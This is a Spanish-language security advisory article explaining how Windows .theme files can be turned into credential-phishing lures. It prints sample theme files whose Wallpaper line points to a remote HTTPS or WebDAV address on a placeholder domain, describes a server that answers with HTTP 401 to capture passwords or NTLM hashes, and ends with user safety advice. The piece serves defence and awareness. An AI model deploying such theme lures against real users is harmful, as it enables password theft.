Nuestro radar de ciberseguridad siempre está alerta cuando vemos advertencias sobre ataques que involucran un nuevo tipo de archivo.
Después de todo, si un tipo de archivo que hemos tratado durante años como casi inofensivo de repente resulta ser posiblemente muy peligroso, nos enfrenta a un doble dilema:
- ¿Cuánto tiempo nos llevará el dejar el hábito arraigado de confiar en esos archivos?
- ¿Cuánto tardarán los ciberdelincuentes en empezar a abusar de ese conocimiento recién descubierto?
Todos somos conscientes de los riesgos que plantean los archivos EXE desconocidos, por ejemplo, porque EXE es la extensión de los programas nativos de Windows, incluso el sistema operativo en sí se implementa como una colección de EXE.
La mayoría de nosotros también sabemos que debemos tener cuidado con las DLL, que en realidad son solo un tipo especial de archivo EXE con una extensión diferente para indicar que generalmente se usan en combinación con otros programas, en lugar de cargarse por sí mismas.
Hemos aprendido a desconfiar de los DOC y DOCX y también del resto de tipos de archivos de Office, porque pueden incluir programas integrados llamados macros.
También somos conscientes de una variedad de archivos de script peligroso como JS (JavaScript), VBS (Visual Basic Script), PS1 (Powershell) y muchos otros que son archivos de texto simples para el ojo inexperto, pero que se tratan como una serie de comandos del sistema cuando los procesa Windows.
Incluso hemos aprendido a desconfiar de hasta qué punto el propio Windows nos engaña debido a su enfoque predeterminado de los nombres de archivo, como en el caso de los archivos alert y alert.txt a continuación, que se desviven por convencernos de que solo son texto inocente:
Olvídate de cómo se ven: esos iconos de la vieja escuela a la izquierda que dan la impresión de ser pergaminos medievales no denotan en absoluto texto simple y antiguo.
Irónicamente, sin embargo, el icono en el medio que parece un documento digital moderno y nítido, y que va con un archivo que en realidad se llama documento, en realidad es un archivo de texto.
De forma predeterminada, Windows suprime las extensiones de nombre de archivo, que son los caracteres más importantes que siguen al último punto en un nombre de archivo, como el .docx al final del archivo de Word TaxReturn.docx o el .exe al final del programa Bloc de notas .exe.
Es molesto que el propio Windows utilice con mucha frecuencia extensiones para decidir qué hacer cuando hace clic en un archivo, por ejemplo, si deseas verlo sin causar daño o ejecutarlo de manera peligrosa.
Sin embargo, el sistema operativo asume de manera bastante condescendiente que no necesita preocuparse por esas molestas letras adicionales al final de sus nombres de archivo.
De hecho, si activamos la opción Ver> Extensiones de nombre de archivo (¡muy recomendable!) en el Explorador de archivos, verás la peligrosa verdad detrás de esos archivos de “icono de desplazamiento” que se veían arriba como si se llamaran alert y alert.txt:
En la vida real, esos son archivos .js, y si haces doble clic en ellos pensando que estás a punto de abrirlos para ver su contenido, obtendrás una sorpresa desagradable.
Windows los ejecutará automáticamente como programas JavaScript todopoderosos, no en la seguridad relativa de tu navegador web, sino directamente en tu ordenador como aplicaciones locales.
(Supuestamente, ese icono no representa un pergamino. En teoría es un guión. ¿Lo sabías?)
Los archivos de tema
En el lado derecho de las imágenes de arriba, verás archivos con la extensión .theme, indicados por iconos que representan lo que parece una serie de imágenes de fondo.
Estamos dispuestos a apostar a que si algunas vez ha descargado y utilizado archivos .theme (o archivos .themepack, que son solo una colección de archivos .theme agrupados), no te has preocupado demasiado por la seguridad.
Generalizando mucho, los Temas de Windows son solo archivos de texto de estilo INI que especifican varias configuraciones para colores de fondo, fondos de pantalla y efectos visuales.
Aquí hay un ejemplo simple, una copia del archivo justatest.theme que aparece arriba:
[Theme]
DisplayName=JustATest
[Control Panel\Desktop]
Wallpaper=C:\Users\duck\Pictures\justatest.png
TileWallpaper=0
WallpaperStyle=10
Pattern=
[VisualStyles]
Path=%SystemRoot%\resources\themes\Aero\Aero.msstyles
ColorStyle=NormalColor
Size=NormalSize
ColorizationColor=0X6B74B8FC
Transparency=1
[MasterThemeSelector]
MTSM=DABJDKT
(No, no sabemos qué significa el texto MTSM = DABJDKT en la última línea o para qué sirve; solo sabemos que Microsoft insiste en que aparezca en el archivo y dice: “No tiene una opción de valores para este parámetro”)
Es cierto que, en teoría, solo cargar archivos de imagen que no son de confianza, como el archivo de fondo de pantalla especificado anteriormente, puede ser peligroso.
Eso es asumiendo que hay una vulnerabilidad sin parchear en una de las aplicaciones, o en el mismo Windows, que se puede explotar para engañar al ordenador para que ejecute un fragmento de código ejecutable cuando se abre un archivo de imagen diseñado maliciosamente.
Sin embargo, en la práctica, ese tipo de vulnerabilidad es poco común en estos días: las que se encuentran se reparan rápidamente o se guardan celosamente, y si generalmente se pueden activar simplemente navegando por una página web o en un correo electrónico, por qué confiar en un archivo de tema.
El peligro que representan los Temas con trampas explosivas es, por lo tanto, pequeño y manejable, lo que le da a los archivos .theme una evaluación de inofensivo justificada de en la mayoría de los casos.
A pesar de que el riesgo directo es generalmente bajo, los archivos .theme recibieron sin embargo una difusión pública en el notorio volcado de datos “Vault 7” en 2017, cuando WikiLeaks expuso un enorme tesoro de documentos confidenciales presuntamente robados a la CIA. El “Vault 7″ incluía un artículo de la base de conocimientos, supuestamente del Centro de Operaciones de Información de la CIA, en el que se señalaba que los Temas podrían ser útiles como una forma de amplificar el efecto de un exploit existente al permitir que se entreguen múltiples variantes del exploit de una sola vez: “En los casos en los que su vector de ejecución utiliza la representación de iconos / vistas previas de archivos para explotar (archivos de enlace, archivos de fuentes), un archivo de tema puede permitirle señalar hasta otros tres archivos y representarlos desde uno”.
Peligroso después de todo
Pero una investigación reciente realizada por un investigador de seguridad llamado @bohops reveló que, después de todo, los ciberdelincuentes pueden abusar de los temas, aunque de manera indirecta para buscar contraseñas en lugar de implantar malware directamente en el ordenador.
[Credential Harvesting Trick] Using a Windows .theme file, the Wallpaper key can be configured to point to a remote auth-required http/s resource. When a user activates the theme file (e.g. opened from a link/attachment), a Windows cred prompt is displayed to the user 1/4 pic.twitter.com/rgR3a9KP6Q
— bohops (@bohops) September 5, 2020
Tradicionalmente, los archivos .theme se utilizan simplemente como una forma de activar la instalación automática y el procesamiento de uno o más archivos locales; de hecho, así es como la CIA concibió su uso para activar exploits:
En la animación de arriba, puedes ver cómo al hacer doble clic en un archivo .theme se inicia la aplicación Configuración de Windows, se navega automáticamente a la sección Preferencias> Temas y luego se abre, se copia, se selecciona y se renderiza el nuevo archivo de fondo de pantalla justatest.png en el escritorio.
¿Y si?
Hasta ahora, las cosas no han sido muy preocupantes.
Bohops, sin embargo, puso su “¿Y si?” La investigación de ciberseguridad siguió adelante y se preguntó qué podría suceder si usara un archivo de tema para hacer referencia a imágenes en Internet, usando una URL en lugar de nombres de archivo normales.
Así, tomado del archivo llamado justahack.theme visto arriba:
[Theme]
DisplayName=JustAHack
[Control Panel\Desktop]
Wallpaper=https://themefile.test/justahack.png
TileWallpaper=0
WallpaperStyle=10
Pattern=
. . . .
Lo único que hemos cambiado es el DisplayName del tema en sí y el “nombre de archivo” especificado en la línea Wallpaper.
En nuestras pruebas del mundo real, usamos un nombre de dominio genuino que apunta a un servidor de prueba propio, equipado con un certificado HTTPS genuino de Let’s Encrypt. Aquí, sin embargo, hemos redactado el nombre del sitio y lo hemos reemplazado con un nombre de dominio de uso especial, como se detalla en RFC 2606 y RFC 6761. Recomendamos que sigas estas RFC en tus propios artículos y documentación de ciberseguridad. Al ceñirse a números de IP y nombres de dominio que sean realistas pero que nunca se asignarán en la vida real, evitarás el riesgo de que alguien pueda copiar y pegar tus ejemplos en una de tus propias pruebas y someter a un tercero inocente a una acción inadvertida y molesta, y posiblemente incluso a un ataque peligroso.
Bohops se dio cuenta de que la aplicación Configuración respetará la URL en el archivo del tema, conectándose automáticamente a él sin mostrar ningún tipo de ventana del navegador e intentando recuperar el archivo al que se hace referencia.
Eso es un poco más preocupante que leer un archivo que ya está en tu ordenador, pero probablemente aún no lo suficiente como para reclasificar Temas como algo mucho peor que casi inofensivo.
Un paso más
Sin embargo, Bohops pudo dar un paso más.
El truco que descubrió fue simple pero sorprendentemente efectivo: apunta el archivo del tema a un servidor web que controlas, configura tu web para que requiera autenticación y comprueba si el ordenador con Windows te proporciona una contraseña.
Lo hicimos simulando un servidor web propio con unas pocas líneas de Lua para que pudiéramos rastrear cómo se comportaba la aplicación Configuración.
En nuestro script de servidor, recopilamos los encabezados HTTP y usamos una respuesta HTTP 401 básica (“debe autenticarse”) cuando la aplicación Configuración llamó por primera vez.
Aquí, verificamos que la solicitud web aún no contenga un encabezado de autorización, que es la forma en que un cliente web indica que ya pasó por el proceso de inicio de sesión:
Hay que tener en cuenta que con la autenticación HTTP básica, podemos elegir el mensaje que nos gustaría que se muestre en el otro extremo cuando solicite sus credenciales.
El cliente responde a una respuesta “401 Debe autenticarse” recopilando su nombre de usuario y contraseña de alguna manera, combinándolos en una cadena de texto con dos puntos (:) en el medio, codificándolos usando Base64 e incluyendo el resultado en su próximo intento de buscar el archivo.
Esto es lo que sucedió:
Observa cómo la ventana emergente de credenciales está etiquetada como perteneciente a la aplicación Configuración de Windows en lugar de a su navegador, lo que le da una credibilidad que realmente no merece.
Deberías detectar el subterfugio, por supuesto, porque el cuadro de diálogo de contraseña indica explícitamente el nombre del sitio web al que se está conectando y deja en claro que es el sitio web el que solicita la contraseña y proporciona el texto explicativo, no Windows en sí:
La aplicación Configuración incluso se conectará a un sitio que no sea HTTPS para buscar archivos de tema (lo comprobamos), aunque advertirá que no ingreses tu contraseña debido a la falta de cifrado:
(Si intentas usar HTTPS pero no proporcionas un certificado web válido en el que Windows confíe, la aplicación Configuración se rendirá en silencio).
¿Empeora?
Como han señalado Bohops y otros, puede usar una ruta UNC de Windows en lugar de un nombre de sitio web en un archivo de tema, lo que le dice a Windows que use su red basada en archivos en lugar de una conexión HTTP normal para recuperar el archivo.
Las rutas UNC son bien conocidas por los usuarios de redes de Windows y, por lo general, dependen de los nombres de las computadoras de Windows y los nombres de los recursos compartidos de la red, como \\ YOURPC \ C $ \ Windows \ System32 \ NOTEPAD.EXE
Pero puedes poner un nombre de dominio de Internet o un número de IP en un nombre UNC de Windows, y Windows activará automáticamente su cliente WebDAV integrado para recuperar el archivo, en lugar de utilizar sus propios protocolos de red.
WebDAV es la abreviatura de Web Distributed Authoring and Versioning y es una versión modificada de HTTP que se utiliza para admitir acceder a datos en la red que admiten archivos y directorios, como un sistema de archivo local o en red local, como NTFS o CIFS.
Pudimos obtener Configuración para usar WebDAV sobre TLS especificando nuestro fondo de pantalla de esta manera:
[Theme]
DisplayName=NowWithWebDAV
[Control Panel\Desktop]
Wallpaper=\\themefile.test@SSL@443\nowwithwebdav.png
TileWallpaper=0
WallpaperStyle=10
Pattern=
. . . .
En teoría, hacer que Windows se conecte a un recurso WebDAV que requiere autenticación debería provocar una ventana emergente de inicio de sesión de red al estilo de Windows, utilizando la autenticación de Windows NTLM (nativa) en lugar de la ventana emergente de credenciales de estilo HTTP menos convincente que vimos anteriormente.
Esto haría que sea más probable que un archivo de tema falso podría engañarte para que introduzcas tu nombre de usuario y contraseña habituales de Windows, aunque la autenticación NTLM utiliza un sistema de hash de desafío-respuesta que significa que el texto sin formato de tu contraseña no se revelaría como estaba arriba cuando forzamos la autenticación HTTP básica.
Por lo tanto, un atacante que utilice el enfoque UNC tendría que recopilar un hash de tu contraseña y descifrarlo, algo entre muy difícil e imposible si la has elegido con prudencia.
Sin embargo, los ciberdelincuentes podrían recuperar una contraseña débil si tienen suficiente potencia informática para realizar la tarea de descifrado (que se puede hacer sin conexión).
No llegamos a ninguna parte
Sin embargo, no pudimos llegar a ninguna parte utilizando nombres de archivo UNC.
Pudimos hacer que Windows estableciera una conexión WebDAV segura con nuestro servidor WebDAV simulado, donde podíamos monitorear las solicitudes desde la aplicación Configuración.
Una vez más, usamos un servidor Lua simplificado, y esta vez grabamos esta transcripción:
===Connection 1 opened
…trying TLS
+++using TLS
request–> OPTIONS /justahack.png HTTP/1.1
connection: Keep-Alive
user_agent: Microsoft-WebDAV-MiniRedir/10.0.19041
translate: f
host: themefile.test
reply<—- HTTP/1.1 204 No Content
MS-Author-Via: DAV
DAV: 1, 2
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK, ACL
Content-Length: 0
===Closed 1
===Connection 2 opened
…trying TLS
+++using TLS
request–> PROPFIND /nowwithwebdav.png HTTP/1.1
connection: Keep-Alive
user_agent: Microsoft-WebDAV-MiniRedir/10.0.19041
depth: 0
translate: f
content_length: 0
host: themefile.test
reply<—- HTTP/1.1 401 Must authenticate
WWW-Authenticate: NTLM
Content-Length: 0
Connection: close
===Closed 2
La sesión se abre con un comando OPTIONS, donde el cliente verifica que está hablando con un servidor WebDAV en lugar de con un servidor HTTP que carece de las extensiones WebDAV.
El comando PROPFIND que sigue es esencialmente el equivalente WebDAV del par de funciones de Windows FindFirstFile () / FindNextFile (), y nos muestra qué archivo quiere descargar Windows.
Respondimos a Windows y solicitamos el uso de autenticación HTTP NTLM
Otros investigadores que han analizado el comportamiento de WebDAV en el pasado han informado que el cliente de WebDAV reacciona a las demandas de autenticación HTTP NTLM repitiendo su solicitud original no autenticada varias veces, antes de finalmente admitir la derrota y pasar por el proceso de desafío-respuesta de NTLM.
Esto finalmente revela una versión hash de su contraseña de Windows que puede ser atacada y posiblemente descifrada si el atacante tiene suerte.
Sin embargo, en las pruebas en las que hicimos doble clic en los archivos del tema que especificaban un recurso UNC remoto, no pudimos provocar que Configuración intentara la autenticación, y mucho menos revelar un hash de la contraseña de Windows.
Después de 19 intentos de localizar el archivo nowwithwebdav.png sin autenticación, la aplicación Configuración se rindió en todos los intentos.
Lo que no podemos decir es si eso se debe a una restricción de seguridad deliberada en la parte relevante de la aplicación Configuración, a una configuración predeterminada de Windows NTLM que es específica para la versión del sistema operativo que estábamos usando (Windows 10 Enterprise 19041.450), a una limitación en nuestro servidor WebDAV falso, o a algo completamente diferente.
Si llega más lejos que nosotros con las rutas UNC, ¡háznoslo saber en los comentarios!
¿Qué hacer?
Afortunadamente, este no es un problema de seguridad crítico y debería ser fácil de evitar, incluso si los ciberdelincuentes decidieran comenzar a probarlo en serio.
Estos son nuestros seis consejos para mantenerse a salvo:
- Lee atentamente las ventanas que piden contraseñas. Estamos de acuerdo con @bohops en que la ventana emergente de phishing que mostramos anteriormente es más creíble que ver el mismo tipo de solicitud de inicio de sesión directamente en el navegador, entre otras cosas porque el cuadro de contraseña tiene un título convincente de Configuración. Sin embargo, el cuadro de diálogo deja claro que la solicitud de contraseña proviene de un sitio web remoto, no de Windows, y que el mensaje de inicio de sesión también proviene del sitio, no del sistema operativo.
- Evita abrir archivos con los que no estés familiarizado. Es más difícil detectar que está sucediendo algo inusual si no estás familiarizado con lo que es habitual.
- Activa la opción para mostrar las extensiones de archivo. En el Explorador de archivos, haz clic en el elemento Ver en la barra de menú y luego activa la opción Extensiones de nombre de archivo. Si la ventana del Explorador es estrecha, es posible que primero debas abrir la pestaña Mostrar / ocultar. Windows usa extensiones de archivo para decidir cómo manejar los archivos, y tú también deberías hacerlo, porque a los ciberdelincuentes les encanta usar nombres como safe.txt.js o damageless.document.exe para despistar.
- Utiliza un producto de ciberseguridad que incluya filtrado web saliente. Los productos de Sophos, por ejemplo, no solo escanean los archivos entrantes en busca de malware. Después de todo, los ataques de suplantación de identidad no se basan en introducir malware en su tu red, sino que confían en que, sin darte cuenta, dejes salir cosas por error. El filtrado web puede mantenerte alejado de sitios fraudulentos para mantenerte aún más alejado de los peligros.
- Elige contraseñas robustas. No, una contraseña compleja no te protegería contra el truco de autenticación HTTP básico que se muestra arriba si introduces tu contraseña. Pero la elección adecuada de la contraseña te protegerá si todo lo que un atacante puede adquirir es una versión cifrada de tu contraseña, porque la única forma de recuperar la contraseña es probar una larga lista de contraseñas probables con la esperanza de encontrar una que coincida con el hash. ¡No seas el primero en caer!
- Informa del contenido inusual o sospechoso de inmediato al equipo de seguridad. Apostamos a que nunca, o como mucho en muy raras ocasiones, alguien ha intentado imponerte un archivo de tema. Si un extraño trata de convencerte de que hagas clic, abras o apruebes algo que no esperabas, que no necesitas pregúntate: “¿Por qué alguien haría eso?”.